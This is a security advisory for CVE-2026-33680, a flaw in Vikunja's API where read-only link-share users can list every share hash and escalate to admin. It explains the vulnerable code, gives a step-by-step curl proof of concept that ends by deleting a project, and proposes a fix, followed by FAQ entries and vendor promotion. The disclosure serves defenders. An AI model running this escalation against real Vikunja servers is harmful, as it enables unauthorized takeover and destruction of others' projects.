CVE-2026-33680

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/link_sharing_permissions.go:25-29):

func (share *LinkSharing) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
	if _, is := a.(*LinkSharing); is {
		return false, 0, nil  // Blocks link share users
	}
	// ...
}

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/read_one.go:64):

canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth)
if !canRead {
    return echo.NewHTTPError(http.StatusForbidden, ...)
}

ReadAllWeb does NOT call CanRead() (pkg/web/handler/read_all.go:106):

// Directly calls ReadAll without permission check
result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/link_sharing.go:228-236):

func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, ...) (...) {
    project := &Project{ID: share.ProjectID}
    can, _, err := project.CanRead(s, a)  // Link share users pass this!
    if !can {
        return nil, 0, 0, ErrGenericForbidden{}
    }
    // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/project_permissions.go:105-108):

shareAuth, ok := a.(*LinkSharing)
if ok {
    return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ...
}

The Hash field is exposed in JSON serialization (pkg/models/link_sharing.go:50):

Hash string `xorm:"varchar(40) not null unique" json:"hash" param:"hash"`

While the Password field is cleared at line 276, the Hash, which is the secret token used to authenticate, is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share

# Authenticate with a read-only link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/READ_ONLY_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure)

# Use the read-only JWT to list ALL shares including their hashes
curl -s -H "Authorization: Bearer <read-only-jwt>" \
  http://localhost:3456/api/v1/projects/PROJECT_ID/shares \
  | jq '.[].hash, .[].permission'
# Returns ALL shares with their hashes and permission levels:
# "READ_ONLY_HASH"   permission: 0
# "ADMIN_HASH"       permission: 2    <-- leaked!

Step 3: Escalate to admin using the leaked hash

# Authenticate with the admin link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/ADMIN_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges

# Delete the project (admin-only operation)
curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \
  http://localhost:3456/api/v1/projects/PROJECT_ID
# Success, full admin access achieved from a read-only share

• Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project
• Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens
• No account required: Link shares are designed for unauthenticated access, the attacker only needs a link share URL that was shared publicly or forwarded to them
• Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing
• Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

CVE-2026-33680 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.2.2); upgrading removes the vulnerable code path.

Kodem intelligence

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

// In pkg/models/link_sharing.go, at the start of ReadAll():
func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) {
	// Don't allow link share users to list link shares
	if _, is := a.(*LinkSharing); is {
		return nil, 0, 0, ErrGenericForbidden{}
	}

	project := &Project{ID: share.ProjectID}
	// ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.

1. What is CVE-2026-33680? CVE-2026-33680 is a high-severity security vulnerability in code.vikunja.io/api (go), affecting versions < 2.2.2. It is fixed in 2.2.2.
2. How severe is CVE-2026-33680? CVE-2026-33680 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-33680? code.vikunja.io/api (go) versions < 2.2.2 is affected.
4. Is there a fix for CVE-2026-33680? Yes. CVE-2026-33680 is fixed in 2.2.2. Upgrade to this version or later.
5. Is CVE-2026-33680 exploitable, and should I be worried? Whether CVE-2026-33680 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33680 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33680? Upgrade code.vikunja.io/api to 2.2.2 or later.